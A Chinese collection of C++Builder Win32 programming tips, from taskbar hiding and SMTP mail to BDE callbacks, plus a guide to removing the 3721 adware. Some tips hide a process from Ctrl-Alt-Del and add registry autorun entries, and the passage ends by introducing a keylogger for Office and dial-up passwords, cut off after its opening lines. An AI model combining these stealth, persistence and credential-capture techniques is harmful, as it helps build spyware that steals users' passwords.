| | 怎樣隱藏應用程序的任務條圖標 
 首先,請看看這些術語。系統托盤是一個在任務條右角的小方框,在托盤了應用程序可以顯示小圖標 。任務條是可以在屏幕上伸展的工具欄。它就是程序圖標所在的位置。想隱藏程序的任務條圖標,你可以應用ShowWindow函數并傳給它application->Handle窗口句柄。
 ShowWindow(Application->Handle, SW_HIDE);
 若想讓任務條圖標再出現,只需將SW_HIDE改為SW_SHOW。
 ShowWindow(Application->Handle, SW_SHOW);
 注: 你可以設置主窗口的Visible屬性為false來隱藏它。
 注: 通過ShowWindow來隱藏窗口的任務條圖標是不持久的。某些動作會使任務條圖標重現。你可以將隱藏的應用程序窗口設為Tool Window來移走程序的任務條圖標而避免它再次出現。Tool windows永遠不會有任務條圖標。 使應用程序窗口成為一個Tool Window有一個副作用:當用戶按下Alt-TAB時它將不在程序列表中出現。你可以調用API函數GetWindowLong和SetWindowLong來使應用程序窗口成為一個Tool Window。
 WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
 DWord dwExStyle = GetWindowLong(Application->Handle, GWL_EXSTYLE); dwExStyle |= WS_EX_TOOLWINDOW; SetWindowLong(Application->Handle, GWL_EXSTYLE, dwExStyle);
 try {
 Application->Initialize();
 Application->CreateForm(__classid(TForm1), &Form1);
 Application->Run();
 } catch (Exception &exception) {
 Application->ShowException(&exception);
 }
 return 0;
 }
 注:程序啟動后要隱藏主窗體,則可以在WinMain中添加如下代碼:(PRoject->View Scource)
 ShowWindow(Application->Handle,SW_HIDE);
 Application->ShowMainForm=false;
 當你想顯示程序時執行下面這兩行代碼:(記住,如果代碼定位在主窗口類的一個方法中,Application->MainForm->Visible=true可以用Visible=true 來代替。)
 ShowWindow(Application->Handle, SW_SHOW);
 Application->MainForm->Visible = true;
 
 發送電子郵件
 
 2000年第一期的《電腦報》刊登了題目為《自己動手編寫電子郵件軟件》的文章,文章講述了如何用VB編寫一個簡單的電子郵件發送程序。其實,如果你是一個C++Builder愛好者,完全可以更快、更簡捷地編寫出這類軟件。請聽我下文分解:
 與E-mail密切相關的兩個協議是POP3和SMTP,POP3是Post Protocol 3的縮寫,用于從POP3服務器接收電子郵件,SMTP是Simple Mail Transfer Protocol的縮寫,用于通過SMTP服務器發送電子郵件。這兩個協議本身是很復雜的,但C++Builder從NetManage公司引進了POP、SMTP控件,這樣,我們完全可以不去管那些收發郵件的機理,只要設置好這些控件就可以編出一個C++Builder的發送郵件程序了。下面介紹SMTP控件:
 SMTP控件位于控件欄的Internet頁面上,名稱為:NMSMTP。SMTP的主要屬性有:
 Host屬性,用來指定SMTP服務器的主機名。
 Port屬性,用于指定SMTP服務器的端口號,一般設為25。
 UserId屬性,登錄SMTP服務器時用于設置用戶名。
 PostMessage屬性,此屬性非常重要,從以下它的內容你就可以看出來了:
 FromName 用于指定發件人的名稱。
 FromAddress 用于指定發件人的e-mail地址。
 LocalProgram 用于指定發件人所使用的郵件客戶程序。
 ToAddress 收件人的地址。
 Body 郵件正文。
 Subject 郵件主題。
 SMTP控件的方法:
 Connect函數,用于登錄到SMTP服務器,使用此函數前,Host、Port、UserId等屬性必須已設好。
 Disconnect函數,用于斷開與SMTP服務器的連接。
 SendMail函數,用于向SMTP服務器發送郵件。知道了這些,我們就可以寫程序了。
 新建應用程序,將工程名保存為sendmail,在Form1上加入NMSMTP控件,Host屬性添入SMTP服務器的名稱,如:“smtp.yeah.net”,UserId屬性添入你在此郵箱申請的用戶名,其它屬性保持默認值;加入4個Label控件,將其Caption分別設為:“發件人名稱”、“收件人地址”、“郵件主題”和“郵件正文”;加入4個Edit控件,將其Name分別設為:“Name1”、“Address1”、“Subject1”和“Body1”;一個SpeedButton控件,Caption為:“發送”(以上屬性均不含引號),Click事件代碼為:
 NMSMTP1->Connect();
 NMSMTP1->PostMessageA->FromName=Name1->Text;
 NMSMTP1->PostMessageA->FromAddress=〃superlink@yeah.net〃;
 NMSMTP1->PostMessageA->ToAddress->Add(Address1->Text);
 NMSMTP1->PostMessageA->Subject=Subject1->Text;
 NMSMTP1->PostMessageA->Body->Add(Body1->Text);
 NMSMTP1->PostMessageA->LocalProgram=〃SendMail〃;
 NMSMTP1->SendMail();
 Application->MessageBoxA(〃發送完成!〃,〃郵件系統〃,MB_OK);
 NMSMTP1->Disconnect();
 完成!有人不禁要問:“就這么簡單?”,的確就這么簡單。不過,NMSMTP控件還有大量的功能沒在此一一列出,同時還有NMPOP3控件可用來編寫接收郵件的程序,如果喜愛C++Builder的朋友感興趣,完全可以寫出象Outlook Express、Foxmail這樣的電子郵件軟件。
 
 C++builder編程修改注冊表的問題
 
 RootKey是注冊表的根鍵值,比如運行regedit后看到的HKEY_USERS,HKEY_LOCAL_MACHINE就是RootKey,在TRegIniFile中缺省的RootKey是HKEY_USERS.
 下面的例子是TRegistry的,TRegIniFile也差不多
 void __fastcall TfrmMainForm::WriteToMyRegistry(int table_count)
 {
 //TODO: Add your source code here
 TRegistry *MyRegistry=new TRegistry;
 MyRegistry->RootKey=HKEY_LOCAL_MACHINE;  //改變缺省Rootkey
 if(!MyRegistry->OpenKey("Software//Microsoft//Windows//Current/Version//Run",true)) {  //打開主鍵
 //這樣雙引號里面的東西就變成了CurrentKey
 Application->MessageBox("注冊表內容無效", "讀取注冊表出錯",MB_ICONERROR);
 MyRegistry->CloseKey();
 delete MyRegistry;
 return;
 }
 MyRegistry->WriteString("myrun","c://sthvcd//sthvcd.exe");
 MyRegistry->CloseKey();
 delete MyRegistry;
 }
 怎樣隱藏應用程序不讓它出現在CTRL-ALT-DEL對話框中
 把你的應用程序從CTRL-ALT-DEL對話框中隱藏的一個簡單辦法是去應用程序的標題。如果一個程序的主窗口沒有標題,Windows不把它放到CTRL-ALT-DEL對話框中。清除標題屬性的最好地方是在WinMain函數里。
 WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
 {
 try{
 Application->Title = "";
 Application->Initialize();
 Application->CreateForm(__classid(TForm1), &Form1);
 Application->Run();
 }
 catch (Exception &exception)
 {
 Application->ShowException(&exception);
 }
 return 0;
 }
 另一種方法是:調用RegisterServiceProcess API 函數將程序注冊成為一個服務模式程序。 RegisterServiceProcess是一個在Kernel32.dll里相關但無正式文件的函數。在MS SDK頭文件里沒有該函數的原型說明,但在Borland import libraries for C++ Builder里能找到。很顯然,這個函數的主要目的是創建一個服務模式程序。之所以說很顯然,是因為MSDN里實質上對這個函數沒有說什么。
 下面的例子代碼演示了在Windows95/98下怎樣通過使用RegisterServiceProcess來把你的程序從CTRL-ALT-DEL對話框中隱藏起來。
 //------------Header file------------------------------
 typedef DWORD (__stdcall *pRegFunction)(DWORD, DWORD);
 class TForm1 : public TForm
 {
 __published:
 TButton *Button1;
 private:
 HINSTANCE hKernelLib;
 pRegFunction RegisterServiceProcess;
 public:
 __fastcall TForm1(TComponent* Owner);
 __fastcall ~TForm1();
 };
 //-----------CPP file------------------------------
 #include "Unit1.h"
 #define RSP_SIMPLE_SERVICE 1
 #define RSP_UNREGISTER_SERVICE 0
 __fastcall TForm1::TForm1(TComponent* Owner): TForm(Owner)
 {
 hKernelLib = LoadLibrary("kernel32.dll");
 if(hKernelLib){
 RegisterServiceProcess =(pRegFunction)GetProcAddress(hKernelLib,"RegisterServiceProcess");
 if(RegisterServiceProcess)
 RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);
 }
 }
 __fastcall TForm1::~TForm1()
 {
 if(hKernelLib){
 if(RegisterServiceProcess)
 RegisterServiceProcess(GetCurrentProcessId(),RSP_UNREGISTER_SERVICE);
 FreeLibrary(hKernelLib);
 }
 }
 
 windows啟動時運行程序
 
 如果希望在windows啟動時運行某個程序,可以通過向注冊表中加信息來實現,下面就一個例子說明:
 首先在源文件(cpp)中加#include <Registry.hpp>
 void __fastcall TForm1::Button1Click(TObject *Sender)
 {
 Tregistry  *Reg;
 Reg=new TRegistry();
 Reg->RootKey=HKEY_LOCAL_MACHINE;
 Reg->OpenKey("SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",FALSE);
 Reg->WriteString("start","d://Oicq//QQ.exe");
 }
 
 客戶/服務器遠程數據傳輸處理技巧
 
 在實際的MIS系統中,遠程數據庫訪問大多通過Modem連接,出于通信費用及速度方面的考慮,往往采用先將數據保存在本地,然后集中傳送到遠端的辦法。遠程數據傳送可以有多種方案,最常見的是先將要傳送的數據打包成文件,在利用文件傳輸形式傳送到目的地,在目的地對數據恢復后添加到本地數據庫中。這種方法普遍地應用于證券交易系統,其優點是速度快,并且可事先對數據壓縮,更大限度地節約傳送時間及費用。但這種方案也有其不足之處:由于利用文件傳輸機制,無法利用數據庫本身的特性如完整性約束、數據一致性、回滾機制等,因此在比較復雜的數據庫系統中較少采用。另一種方法是直接將兩端處理成"客戶/服務器"模式,將數據傳送看成是向Server提交數據。由于這種方案充分利用了數據庫服務器的特性,并且實際操作基本與局域網方式一致,因此本文將詳細介紹這種方案。
 由于傳輸速度的原因,當傳送大量數據時絕對不贊成逐條記錄地向服務器提交數據,而應批量地向Server提交,Delphi/CBuilder中提供了一個TBatchMove控件專門用于批量傳送數據,利用它可極大減少網絡負擔,提高傳送速度。遺憾的是,TBatchMove控件只提供了簡單的錯誤控制功能,沒有提供顯示傳送進度、用戶終止傳送等重要功能。然而TBatchMove所依賴的BDE卻提供了一種"回調機制"可以完成上述兩個功能。所謂"回調"過程是這樣的:當BDE執行某種操作時,比如從一張表向另一張表拷貝大量數據的過程中,每過一段時間(如需要顯示拷貝進度時),BDE會調用一段你自己寫的函數(回調函數),以幫助你更完全地控制程序。這種做法有點想DLPHI中的Event(事件)及事件處理函數--某個具體的操作動作會讓VCL觸發某個事件,從而調用一段你寫好的事件處理函數,不同的事件會觸發不同的處理函數。
 為了讓BDE能正確地與你的函數協同工作,你必須事先"注冊"你的函數,讓BDE知道某個事件發生時應調用(回調)你的某段代碼。BDE提供了一個DbiRegisterCallBack注冊函數,不幸的是,BDE的聯機幫助中的說明不能適合于Delphi/CBuilder,按照該說明編寫的程序根本不能通過編譯!筆者通過實踐找到了正確使用BDE回調函數的方法,下面將詳細介紹該機制的使用。BDE回調機制包含以下幾個步驟:
 1)按BDE的預定格式編寫你的回調函數
 2)調用DbiRegisterCallBack函數注冊你的回調函數,這樣當你執行相關數據庫操作時就自然地觸發你的回調函數。
 3)執行相關數據庫操作,比如BatchMove1->Exectue();
 4)注銷該回調函數
 其中最關鍵的是正確注冊你的回調函數,因此先介紹第二步。(注冊與注銷都調用同一函數,只是最后一個參數略有不同)
 首先你應知道在哪類"事件"發生時調用你的回調函數,其次你應明白與該事件相關的參數及數據結構-----這一切都發生在調用DbiRegisterCallBack函數注冊時,所以下面先介紹DbiRegisterCallBack的正確用法及說明:
 在原BDE幫助中該函數的原形(C)是這樣的
 DBIResultDBIFNDbiRegisterCallBack(hCursor,ecbType,iClientData,iCbBufLen,pCbBuf,pfCb);
 要使用該函數必須include頭文件,問題是Delphi/CBuilder中根本沒有提供該文件,取而代之的是"BDE.HPP",但是在包含進該文件后程序仍然不能編譯通過,因為該文件中沒有DBIFN等的說明。一個簡單的方法是在代碼中去掉DBIFN。函數中各參數解釋如下:hCursor是一個BDE中對象的句柄,如果這個參數為NULL,則表示注冊的回調函數適合于所有BDE任務;第二個參數ecbType是指回調函數的觸發條件的類別,有很多種類型可以選擇,其中cbGENPROGRESS表示當需要顯示一個長操作的進度時觸發這個回調函數;第三個參數iClientData是傳遞給回調函數的某個數據結構的指針,在我們的例子中為NULL;第四個參數iCbBufLen是指回調Buffer的大小,該大小隨第二個參數的不同而不同,比如sizeof(CBPROGRESSDesc);第五個參數pCbBuf是回調Buffer的指針,該指針類型隨第二個參數變化,比如cbGENPROGRESS的數據結構是CBPROGRESSDesc;最后一個參數是回調函數的地址指針,當該參數為NULL時表示注銷該類型的回調函數。關于回調函數將在稍后詳細介紹。下面是注冊執行長操作時顯示進度的回調函數的格式:
 intrst=DbiRegisterCallBack(
 NULL,//適合于任何進程
 cbGENPROGRESS,//回調類型:顯示長操作的進度
 NULL,//沒有數據
 sizeof(CBPROGRESSDesc),//數據結構的大小
 &aCBBuf,//數據的內存地址
 ApiCallBackFun//回調函數的地址
 );
 接下來就應該完成第一步:編寫回調函數
 在C中,回調函數應如下聲明:
 CBRType__stdcallApiCallBackFun(
 CBTypeecbType,//回調類型
 intiClientData,//回調數據(指針)
 void*pCbInfo//回調數據結構指針
 )
 第一個參數是回調類型;第二個參數是回調數據,其解釋同DbiRegisterCallBack的第三個參數;第三個是回調數據的指針,該數據的結構隨回調類型的不同而不同。比如進度指示cbGENPROGRESS的數據結構是CBPROGRESSDesc,其定義如下:
 structCBPROGRESSDesc{
 shortipercentDone;//進度的百分比
 charszMsg[128];//進度的文本信息
 };
 該結構的兩個域同時只有一個起作用,第一個表示操作的進度百分比,當其為-1時表示第二個域起作用。第二個域用字符串表示進度信息,其格式為<String><:><Value>,比如:RecordsCopied:125
 本文主要在回調函數中完成兩個工作:
 1)顯示數據拷貝(BatchMove)進度
 2)提供讓用戶終止長時間拷貝的機制
 顯示拷貝進度的代碼如下:
 CBRType__stdcallApiCallBackFun(
 CBTypeecbType,  //Callbacktype
 Int iClientData, //Clientcallbackdata
 void*pCbInfo //Callbackinfo/Client
 ) {
 AnsiString str;
 if(ecbType==cbGENPROGRESS){
 intj=StrToInt(((CBPROGRESSDesc*)pCbInfo)->iPercentDone);
 if(j<0) { //如果iPercentDone為-1,則分析szMsg的信息
 str=((CBPROGRESSDesc*)pCbInfo)->szMsg;intpos=str.AnsiPos(":")+1; //提取出拷貝的記錄數
 //下面的代碼用來在一個Form中顯示拷貝進度及拷貝數量Form1->Label2->Caption=str.SubString(pos,100);
 Form1->Label2->Update();
 Form1->ProgressBar1->Position=int((str.SubString(pos,100).ToDouble()/Form1->TransNum)*100);
 Form1->ProgressBar1->Update();
 }else{
 Form1->ProgressBar1->Position=j;Form1->ProgressBar1->Update();
 }
 return  cbrCONTINUE;
 //必須返回cbrCONTINUE以便讓BatchMove繼續,若返回cbrABORT則終止拷貝
 }
 }
 一切完成以后,每當調用長時間BDE操作(比如BatchMove1->Exectue())時都會觸發該回調函數,注意在不需要時應"注銷"這個回調函數。
 如果批量傳送數據時間很長,則必須為用戶提供終止該操作的機會,前面提到,若回調函數返回cbrABORT,則BatchMove過程立即終止。可以在Form上加上一個"停止"按鈕和一個全局布爾變量isContinue,當開始拷貝時設該變量為true,當按鈕按下后,設該變量為false,每次調用回調函數時檢查isContinue的值,若為true則回調函數返回cbrCONTINUE讓拷貝繼續,否則返回cbrABORT終止拷貝。但是問題在于一旦拷貝過程開始,該進程內所有消息將被阻塞,應用程序在拷貝結束之前沒有機會響應鍵盤、鼠標等一切消息,連屏幕刷新都不能完成,因此必須找到一種避免消息阻塞的方法。
 大家知道,Windows是靠事件(消息)驅動的,在WIN32系統中有兩種消息隊列:系統隊列和應用程序隊列,當一個程序進行一個長時間操作時,系統分配給該程序的時間片將完全用于處理該操作,換句話說,應用程序沒有從它的應用程序隊列中取出消息并處理的機會,這樣該程序將停止一切對外部事件的響應直到該操作完成為止。具體到本文中就是程序必須等到BatchMove1->Execute()執行完畢后才能響應用戶操作,因此用戶將完全沒有機會終止拷貝過程。
 解決的辦法是:在回調函數中取出消息隊列中的消息,并后臺處理它們,這樣用戶將有機會按下終止按鈕。實現的代碼很簡單,在回調函數中最后加入以下代碼即可
 CBRType__stdcallApiCallBackFun(…){
 ……MSGamsg;
 while(PeekMessage(&amsg,NULL,0,0,PM_REMOVE)) {//從隊列中取消息
 TranslateMessage(&amsg);//翻譯消息
 DispatchMessage(&amsg);//分發消息
 }
 if(isContinue)
 return cbrCONTINUE;
 else
 returncbrABORT;
 }
 
 軟件封面的實現
 
 1.先設置兩個窗體Form1 Form2其中Form1為主窗體,Form2為動態調用窗體
 在工程文件Project1.cpp中加入如下代碼:
 #include <vcl.h>
 #include "Unit2.h"
 #pragma hdrstop
 
 USERES("Project1.res");
 USEFORM("Unit1.cpp", Form1);
 USEFORM("Unit2.cpp", Form2);
 //---------------------------------------------------------------------------
 WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
 {
 try{
 Application->Initialize();
 Form2 = new TForm2(Application);
 Form2->Show();
 Form2->Update();
 Application->CreateForm(__classid(TForm1), &Form1);
 delete Form2;
 Application->Run();
 }
 catch (Exception &exception){
 Application->ShowException(&exception);
 }
 return 0;
 }
 2.然后在主窗體unit1.cpp中加入下面代碼:
 void __fastcall TForm1::FormCreate(TObject *Sender)
 {
 unsigned long CurTime;
 unsigned long DelayTime;
 // 設置延遲時間為5秒
 DelayTime = 5000;
 CurTime = GetTickCount();
 // 在這兒可以加上應用程序的初始化過程
 unsigned long Inter;
 do{
 Inter = GetTickCount()-CurTime;
 Form2->ProgressBar1->Position = Inter*100.0/DelayTime;
 } while( Inter<DelayTime );
 }
 
 在BCB中顯示2000新式對話框
 
 我自己測試了一下,在2000和xp下能顯示新式對話框,不過不能使用bcb中的組件,只能自己調用api函數,再一次說明了api函數的強大.我的程序如下,希望大家指教.
 //main.h
 //---------------------------------------------------------------------------
 #ifndef mainH
 #define mainH
 //---------------------------------------------------------------------------
 #include <Classes.hpp>
 #include <Controls.hpp>
 #include <StdCtrls.hpp>
 #include <Forms.hpp>
 #include <Dialogs.hpp>
 #include <ExtCtrls.hpp>
 //---------------------------------------------------------------------------
 class TForm1 : public TForm
 {
 __published: // IDE-managed Components
 TButton *Button1;
 TPanel *Panel1;
 TMemo *Memo1;
 TPanel *Panel2;
 TGroupBox *GroupBox1;
 TCheckBox *CheckBox1;
 TButton *Button2;
 void __fastcall Button1Click(TObject *Sender);
 void __fastcall FormCreate(TObject *Sender);
 void __fastcall FormDestroy(TObject *Sender);
 void __fastcall Button2Click(TObject *Sender);
 void __fastcall CheckBox1Click(TObject *Sender);
 private: // User declarations
 public: // User declarations
 LPOPENFILENAMEA   pOpenFile;
 BYTE         *pBuf;
 __fastcall TForm1(TComponent* Owner);
 void __fastcall DisplayInMemo(String str);
 };
 //---------------------------------------------------------------------------
 extern PACKAGE TForm1 *Form1;
 //---------------------------------------------------------------------------
 #endif
 
 //main.c
 //---------------------------------------------------------------------------
 #include <vcl.h>
 #pragma hdrstop
 #include "main.h"
 //---------------------------------------------------------------------------
 #pragma package(smart_init)
 #pragma resource "*.dfm"
 TForm1 *Form1;
 //---------------------------------------------------------------------------
 __fastcall TForm1::TForm1(TComponent* Owner)
 : TForm(Owner)
 {
 }
 //---------------------------------------------------------------------------
 void __fastcall TForm1::Button1Click(TObject *Sender)
 {
 String str;
 BOOL  bReturn = GetOpenFileName(pOpenFile);
 if(bReturn)
 {
 str.sprintf("您選擇的文件為%s",pOpenFile->lpstrFile);
 DisplayInMemo(str);
 }else{
 str.sprintf("您沒有選擇的文件");
 DisplayInMemo(str);
 }
 }
 //---------------------------------------------------------------------------
 void __fastcall TForm1::FormCreate(TObject *Sender)
 {
 String str;
 pBuf =(BYTE *)malloc(1024);
 memset(pBuf,0,1024);
 pBuf = "*.txt";
 pOpenFile = (LPOPENFILENAMEA)malloc(sizeof(OPENFILENAMEA));
 memset(pOpenFile,0,sizeof(OPENFILENAMEA));
 pOpenFile->lStructSize = sizeof(OPENFILENAMEA);
 pOpenFile->hwndOwner = Handle;
 pOpenFile->hInstance = HInstance;
 pOpenFile->lpstrFilter = "文本文件(*.txt)";
 pOpenFile->nFilterIndex = 0;
 pOpenFile->nMaxFile = 255;
 pOpenFile->Flags = OFN_EXPLORER;
 pOpenFile->lpstrFile = pBuf;
 pOpenFile->lpstrTitle = "我的文件對話框";
 pOpenFile->lpstrInitialDir = ".//";
 //pOpenFile->
 str.sprintf("顯示2000樣式對話框演示");
 DisplayInMemo(str);
 }
 //---------------------------------------------------------------------------
 void __fastcall TForm1::FormDestroy(TObject *Sender)
 {
 free((void *)pOpenFile);
 }
 //---------------------------------------------------------------------------
 void __fastcall TForm1::DisplayInMemo(String str)
 {
 if(Memo1->Lines->Count > 100){
 Memo1->Lines->Clear();
 }
 Memo1->Text = str + char(13) + char(10) + Memo1->Text;
 }
 void __fastcall TForm1::Button2Click(TObject *Sender)
 {
 Close();
 }
 //---------------------------------------------------------------------------
 void __fastcall TForm1::CheckBox1Click(TObject *Sender)
 {
 if(CheckBox1->Checked){
 pOpenFile->Flags |= OFN_READONLY;
 }else{
 pOpenFile->Flags &= !OFN_READONLY;
 }
 }
 //---------------------------------------------------------------------------
 在bcb5測試通過.
 
 如何屏蔽系統ALT+F4
 
 第一步:在你的密碼窗口的頭文件的 public部分加上以下兩段代碼:
 //這是自定義響應消息的函數:
 void __fastcall OnCloseForm(TMessage Message);
 //定義一個消息域:
 BEGIN_MESSAGE_MAP
 MESSAGE_HANDLER(WM_SYSCOMMAND, TMessage, OnCloseForm)
 END_MESSAGE_MAP(TForm)
 第二步:在密碼窗口的代碼中增加此函數的實現:(注 TfWelcome 是密碼窗口的名字,改成你自己的密碼窗口名稱)
 void __fastcall TfWelcome::OnCloseForm(TMessage Message)
 {
 if(Message.WParam==SC_CLOSE){
 //此消息攔截是為了防止用戶關閉登錄窗口 。
 if(Application->MessageBox(" 您確實要關閉本系統?”。","金浪軟件提醒",48|1)==1){
 Application->Terminate();//如果用戶選擇“是”,就關閉整個程序。
 }
 }
 }
 說明:這樣用戶無論如何都關不了你的密碼窗口了,要關就把整個程序關了。
 
 調用API函數NetBios來獲得網卡物理地址
 
 本程序是調用API函數NetBios來獲得網卡物理地址的。
 
 //Get MAC Address
 //Proto: bool MAC(char *Mac);
 //return: true if success and Mac is MAC address,
 // false if fail.
 //
 bool MAC(char *Mac)
 {
 typedef struct _ASTAT_
 {
 ADAPTER_STATUS adapt;
 NAME_BUFFER NameBuff [30];
 }ASTAT, *PASTAT;
 
 ASTAT Adapter;
 
 NCB ncb;
 UCHAR uRetCode;
 char tmp[40];
 Mac[0]='/0';
 memset( &ncb, 0, sizeof(ncb) );
 ncb.ncb_command = NCBRESET;
 ncb.ncb_lana_num = 0;
 uRetCode = Netbios( &ncb );
 if (uRetCode!=0)
 {
 strcat(Mac,"Init Error!");
 return false;
 }
 memset(&ncb, 0, sizeof(ncb) );
 ncb.ncb_command = NCBASTAT;
 ncb.ncb_lana_num = 0;
 strcpy((char *)ncb.ncb_callname, "* " );//這個"*"代表獲得本機網卡地址,換成IP地址就可以獲得局域網內其他機器的網卡地址。
 
 ncb.ncb_buffer =(unsigned char *) &Adapter;
 ncb.ncb_length = sizeof(Adapter);
 
 uRetCode = Netbios( &ncb );
 if ( uRetCode == 0 )
 {
 for(int i=0;i<6;i++)
 {
 sprintf(tmp,"%02X ",(int)Adapter.adapt.adapter_address[i]);
 strcat(Mac,tmp);
 }
 sprintf(tmp," Software: %d.%d",Adapter.adapt.rev_major,Adapter.adapt.rev_minor);
 strcat(Mac,tmp);
 return true;
 }
 else
 {
 strcat(Mac,"Unknown.");
 return false;
 }
 }
 
 細說3721網絡實名“病毒”(人家用C++寫的)
 
 最近瀏覽一些門戶網站時,會不知不覺的被安裝上一個名為“3721網絡實名”的IE插件。雖說這些門戶網站和3721本是好意,可是這樣單方面地安裝上這么一個插件有點不妥!之所以說它是病毒,因為它同樣是開機自動啟動,而且雖然帶來 一些方便,但是使系統運行的極不穩定,拖慢上網速度。在s8s8.net的論壇上看 到很多網友都說關機時經常會出現 explorer.exe 出錯的提示。我也是同樣深受 其害,仔細研究了一下,問題就出在這個“3721網絡實名”上!更可氣的是,可能是由于程序做的比較倉促,完全沒有卸載功能!
 這里附上它的源代碼,通過代碼可以看出這不是木馬。不過程序寫的很爛……
 #include "windows.h"
 #include "winbase.h"
 void main()
 {
 char buf[MAX_PATH];
 ::ZeroMemory(buf, MAX_PATH);
 ::GetWindowsDirectory(buf, MAX_PATH);
 char filename[MAX_PATH];
 ::ZeroMemory(filename, MAX_PATH);
 strcpy(filename, buf);
 strcat(filename, "http://Downloaded Program Files//CnsMinIO.dll");
 ::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
 ::ZeroMemory(filename, MAX_PATH);
 strcpy(filename, buf);
 strcat(filename, "http://Downloaded Program Files//CnsMin.dll");
 ::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
 ::ZeroMemory(filename, MAX_PATH);
 strcpy(filename, buf);
 strcat(filename, "http://Downloaded Program Files//cnsio.dll");
 ::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
 }
 下面將給大家卸載這個插件的詳細過程。
 由于這個3721網絡實名插件是使用Rundll32.exe調用連接庫的,系統無法終止Rundll32.exe進程,所以我們必須重新啟動計算機,按 F8 進入安全模式(F8 只能按一次,千萬不要多按?。?。之后,單擊 開始 -> 運行 regedit.exe 打開注冊表,進入:
 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
 刪除鍵:CnsMin
 其鍵值為:Rundll32.exe C:/WINNT/DOWNLO~1/CnsMin.dll,Rundll32
 (如果是win98,這里的 C:/WINNT/DOWNLO~1/ 為 C:/WINDOWS/DOWNLO~1/)
 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/AdvancedOptions/
 刪除整個目錄:!CNS
 這個目錄在 Internet 選項 -> 高級 中加入了3721網絡實名的選項。
 HKEY_LOCAL_MACHINE/SOFTWARE/3721/ 以及 HKEY_CURRENT_USER/Software/3721/
 刪除整個目錄:3721
 注:如果您安裝了3721的其它軟件,如 極品飛貓 等,則應刪除
 整個目錄:HKEY_LOCAL_MACHINE/SOFTWARE/3721/CnsMin
 以及 HKEY_CURRENT_USER/Software/3721/CnsMin
 HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/
 刪除鍵:CNSEnable 其鍵值為:a2c39d5f
 刪除鍵:CNSHint 其鍵值為:a2c39d5f
 刪除鍵:CNSList 其鍵值為:a2c39d5f
 在刪除完注冊表中的項之后,還需要刪除存儲在硬盤中的3721網絡實名文件。
 刪除如下文件:
 C:/WINNT/DOWNLO~1 目錄下
 (這里的 C:/WINNT/DOWNLO~1/ 為 C:/WINDOWS/DOWNLO~1/ 下同)
 2001-08-09 15:34 <DIR> 3721
 2001-08-02 17:03 40,960 cnsio.dll
 2001-08-08 14:14 102,400 CnsMin.dll
 2001-08-24 23:14 42 CnsMin.ini
 2001-08-09 10:18 13,848 CnsMinEx.cab
 2001-07-06 17:57 32,768 CnsMinEx.dll
 2001-08-25 02:52 115 CnsMinEx.ini
 2001-08-25 02:51 17,945 CnsMinIO.cab
 2001-08-02 17:02 32,768 CnsMinIO.dll
 2001-08-24 23:15 40,793 CnsMinUp.cab
 C:/WINNT/DOWNLO~1/3721 目錄下
 2001-08-02 17:03 40,960 cnsio.dll
 2001-08-24 15:53 102,400 CnsMin.dll
 2001-07-06 17:59 213 CnsMin.inf
 2001-08-24 15:48 28,672 CnsMinIO.dll
 以上文件全部刪除,這樣3721網絡實名“病毒”就從您的計算機中全部清除了。
 最后,重新啟動計算機,進入正常模式。現在已經完全沒有3721網絡實名的捆饒了!
 ..:::[end]:::..
 下面是禁止3721的方法:
 卸載3721后,用記事本打開c:/windows/hosts(查找,說明為文件),加入以下字符(IP和域名之間用一個空格間隔開):
 0.0.0.0 www.3721.com
 0.0.0.0 cnsmin.3721.com
 0.0.0.0 download.3721.com
 保存的文件名為Hosts(注意不要加任何擴展名),Windows 98/Me的系統把該文件保存到Windows目錄,Windows 2000/XP的系統把該文件保存到WINNT/system32/drivers/etc目錄,如果已經有Hosts文件,直接替換就可以。然后打開瀏覽器觀察結果,怎么樣?再也看不到3721的對話框了吧?
 同理,用Hosts文件還可以對付網頁中的廣告?,F在很多大型網站,都有專門存放廣告的主機,查看網頁的源代碼,就可以知道廣告文件存放在哪臺主機上,然后用Hosts文件解析這臺主機的IP,就可以把這些廣告拒之門外了。
 也可以加速經常瀏覽的網站:X.X.X.X(空格)WWW.X.COM (IP為真實值)
 ..:::[other]:::..
 另外可以使用多頁面瀏覽器把
 3721.com 218.244.44.10
 3721.net 202.106.148.154
 www.3721.com 218.244.44.10
 www.3721.net 202.106.148.154
 download.3721.com 218.244.44.34
 download.3721.net 218.244.44.35
 這些添加到黑名單,
 把C段封殺
 218.244.44.*
 202.106.148.*
 附件附上Hosts:
 # Copyright (c) 1993-1999 Microsoft Corp.
 #
 # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
 #
 # This file contains the mappings of IP addresses to host names. Each
 # entry should be kept on an individual line. The IP address should
 # be placed in the first column followed by the corresponding host name.
 # The IP address and the host name should be separated by at least one
 # space.
 #
 # Additionally, comments (such as these) may be inserted on individual
 # lines or following the machine name denoted by a '#' symbol.
 #
 # For example:
 #
 # 102.54.94.97 rhino.acme.com # source server
 # 38.25.63.10 x.acme.com # x client host
 
 127.0.0.1 localhost
 127.0.0.1 3721.com #3721網絡實名
 127.0.0.1 3721.net #3721網絡實名
 127.0.0.1 cnsmin.3721.com #3721網絡實名
 127.0.0.1 download.3721.com #3721網絡實名
 127.0.0.1 www.3721.com #3721網絡實名
 127.0.0.1 www.3721.net #3721網絡實名
 
 一個截獲用戶輸入密碼程序
 
 整理東西的時候翻出了個幾年前的程序,功能是當用戶輸入撥號、Excel,WORD密碼時,將其保存在一個文件里。程序用的是日志鉤子,這樣就不用象其他全局HOOK那樣,必須單寫一個DLL。
 為了讓初學者深入了解,將源代碼貼上來,(SDK程序VC,BCB等WIN下的C編譯器均可編譯)象現在那些記錄E-MAIL密碼,OICQ密碼等工具都是這原理,俺當時寫著玩意的時候還沒有OICQ。
 
 有興趣的可以自己加上。
 
 #include <windows.h>
 #define KeyPMask 0x80000000
 #define SERVICE_PROC 1
 #define UNSERVICE_PROC 0
